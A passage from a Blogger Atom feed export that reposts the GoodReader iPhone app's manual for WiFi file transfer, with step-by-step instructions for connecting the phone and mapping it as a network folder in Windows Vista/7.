touch.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 5. Open GoodReader&amp;#39;s WiFi-transfer page, keep it open all the time while transferring, note the IP-address on this page (you gonna need it in Step 6).&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="20px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="sccz"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step5_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="wpls"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;For security reasons and to save your battery power transfer is allowed only when you&amp;#39;re on the WiFi-transfer page. You can open this page with this button on the main screen of GoodReader:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/main-toolbar-wifi-button.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;This button brings up the WiFi-transfer page:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/wifi-transfer-page.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;The important things here are:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;antenna logo at the top, it should indicate a strong WiFi signal (if you don&amp;#39;t see this logo, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;WiFi status: ON (if it&amp;#39;s OFF, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;IP-address (if you don&amp;#39;t see it, then you&amp;#39;re not connected to WiFi network - go back to Steps 1 and 3)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Note the IP-address, you will use it to initiate a connection from your computer.&lt;br&gt;&amp;nbsp;&lt;br&gt;IMPORTANT: IP-addresses change from time to time, even if nothing else changes in your setup. So please don&amp;#39;t assume that the IP-address is the same as it was during your last transfer session, check this address every time when connecting.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 6. Choose the transfer method and do the actual transfer.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="20px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="r..l"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step6_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="in5c" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;table border="1px" cellpadding="7px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr valign="top"&gt;&lt;td align="center" style="background-color:#dddddd" width="50%"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&amp;quot;Easy&amp;quot; transfer&lt;br&gt;(just a couple of files to transfer)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;td align="center" style="background-color:#dddddd"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&amp;quot;Professional&amp;quot; transfer&lt;br&gt;(many files and folders to transfer)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr valign="top"&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-web.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;transfer using web browsers (any operating system)&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Transfer by connecting your iPhone/iPod to your computer as a network folder:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-vista.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Windows Vista / Windows 7&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-xp.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Windows XP&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-mac.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Mac OS X&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-linux.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;Linux&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 7. After all the transfer is completely done, close WiFi-transfer page.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;font size="5"&gt;&lt;br&gt;&lt;/font&gt;&lt;table border="1px" cellpadding="15px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;&lt;b&gt;Step 6&lt;/b&gt;&lt;br&gt;&amp;quot;Professional&amp;quot; transfer - connecting your iPhone as a network folder&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;p&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;This technique connects your iPhone to your desktop computer as a network folder. It creates a network folder shortcut, which you can use later to connect.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;h2&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="4"&gt;Connecting your iPhone to Windows Vista or Windows 7:&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;on Windows Vista or Windows 7 computer open the&amp;nbsp;&lt;b&gt;Start&lt;/b&gt;&amp;nbsp;menu and select&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-1.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;find the toolbar at the top of&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;&amp;nbsp;window and click&amp;nbsp;&lt;b&gt;Map network drive&lt;/b&gt;:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-2.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the dialog window will open. Do&amp;nbsp;&lt;b&gt;NOT&lt;/b&gt;&amp;nbsp;enter anything in that dialog. Instead, click the&amp;nbsp;&lt;b&gt;Connect to a Web site that you can use to store your documents and pictures&lt;/b&gt;&amp;nbsp;link there:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-3.jpg"&gt;&lt;br&gt;&lt;br&gt;The&amp;nbsp;&lt;b&gt;Add Network Location&lt;/b&gt;&amp;nbsp;wizard will start. The whole point of this wizard is to create a network shortcut (network location) that you can use later to connect to GoodReader and to transfer files. Skip the introduction page:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-4.jpg"&gt;&lt;br&gt;&lt;br&gt;Select the&amp;nbsp;&lt;b&gt;Choose a custom network location&lt;/b&gt;&amp;nbsp;item in the list:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-5.jpg"&gt;&lt;br&gt;&lt;br&gt;Enter your iPhone&amp;#39;s IP-address taken from&amp;nbsp;&lt;b&gt;Step 5&lt;/b&gt;&amp;nbsp;of&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/gr-man-tr-wifi.html" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;WiFi File Transfer manual&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;. Enter it exactly as you see it on GoodReader&amp;#39;s WiFi-transfer page, with&amp;nbsp;&lt;/font&gt;&lt;span class="IPaddr" style="font-style:normal"&gt;&lt;font face="monospace"&gt;&lt;font color="#000000"&gt;&lt;font size="3"&gt;http://&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font size="3"&gt;&amp;nbsp;and&amp;nbsp;&lt;/font&gt;&lt;span class="IPaddr" style="font-style:normal"&gt;&lt;font face="monospace"&gt;&lt;font color="#000000"&gt;&lt;font size="3"&gt;:8080&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;font size="3"&gt;&amp;nbsp;parts:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-6.jpg"&gt;&lt;br&gt;&lt;br&gt;Keep the default name for the network location (network shortcut) suggested by the wizard:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-7.jpg"&gt;&lt;br&gt;&lt;br&gt;Finish the wizard:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-8.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;when the wizard will close, the network folder will open:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-9.jpg"&gt;&lt;br&gt;&lt;br&gt;This is the folder with all files that are stored inside GoodReader on your iPhone/iPod. Use this folder the same way you use a normal Windows folder - drag-and-drop files there, copy, move, rename, delete, create subfolders, etc.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;only when you&amp;#39;re completely done with file transfer, close GoodReader&amp;#39;s WiFi-transfer page&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the&amp;nbsp;&lt;b&gt;Map Network Drive&lt;/b&gt;&amp;nbsp;wizard dialog will stay on the screen at that moment - just close it, don&amp;#39;t enter anything there:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-10.jpg"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;the network shortcut (network location) you&amp;#39;ve created will be located in the&amp;nbsp;&lt;b&gt;Computer&lt;/b&gt;&amp;nbsp;window:&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;img align="top" src="http://goodreader.net/images/wifi-7-11.jpg"&gt;&lt;br&gt;&lt;br&gt;Use it every time you need to connect to GoodReader. But if the IP-address of your iPhone changes, you have to create a new shortcut (new network location) for a new IP-address using the same procedure.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;please do&amp;nbsp;&lt;b&gt;NOT&lt;/b&gt;&amp;nbsp;assume that the IP-address is the same as it was when you were connecting the last time - IP-addresses change periodically, check it every time when connecting&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-2001380598985498352?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/2001380598985498352/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=2001380598985498352' title='7 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2001380598985498352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2001380598985498352'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/04/goodreader-user-manual_01.html' title='GoodReader User Manual'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-799305359268774151</id><published>2010-04-01T02:43:00.001-07:00</published><updated>2010-04-01T02:43:29.349-07:00</updated><title type='text'>GoodReader User Manual</title><content type='html'>&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="5"&gt;&lt;b&gt;GoodReader User Manual&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;font size="5"&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Use your local WiFi-network to transfer files from your desktop computer to GoodReader.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Please note that WiFi-networking can sometimes be tricky, there are some hidden options that can prevent normal networking. Should you have any difficulties, please consult our&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/gr-man-tr-wifi-trouble.html" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;Troubleshooting guide&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;&amp;nbsp;or contact our friendly and experienced&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/support.php" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;customer support service&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="1px" cellpadding="10px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Preparation steps&lt;br&gt;(must be performed the first time only, no need to do it every time)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 1. Make sure you have your own local WiFi network ready.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-create.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;creating your own WiFi network&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 2. Connect your computer to your WiFi network.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;if your network is hosted by your computer (i.e. it is an ad hoc or computer-to-computer network, then skip this step&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-conncomp.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;connecting your computer to WiFi network created by your WiFi router&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 3. Connect your iPhone / iPod touch to your WiFi network.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="c1sh"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step3_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="p443"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Start the Settings app on your iPhone / iPod touch:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/connect-iphone-1.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;Go to Wi-Fi section. Turn the Wi-Fi switch on, if it&amp;#39;s off. Find your network (to which your computer is connected, or which is hosted by your computer) in the list, select it, and enter the password for this network, if needed. It isvery important to ensure that you&amp;#39;re entering the password correctly, because sometimes, if the password is incorrect, it may look like you&amp;#39;re connected to a network, but no actual file transfer will happen. The checkmark should appear against your network name:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/connect-iphone-2.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;Wait for the WiFi antenna logo to appear at the top of the screen. It may take some time, during which your iPhone registers within the network, so just wait for antenna to appear.&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="1px" cellpadding="10px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Actual Transfer&lt;br&gt;(must be performed every time)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 4. Start GoodReader app on your iPhone / iPod touch.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 5. Open GoodReader&amp;#39;s WiFi-transfer page, keep it open all the time while transferring, note the IP-address on this page (you gonna need it in Step 6).&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td 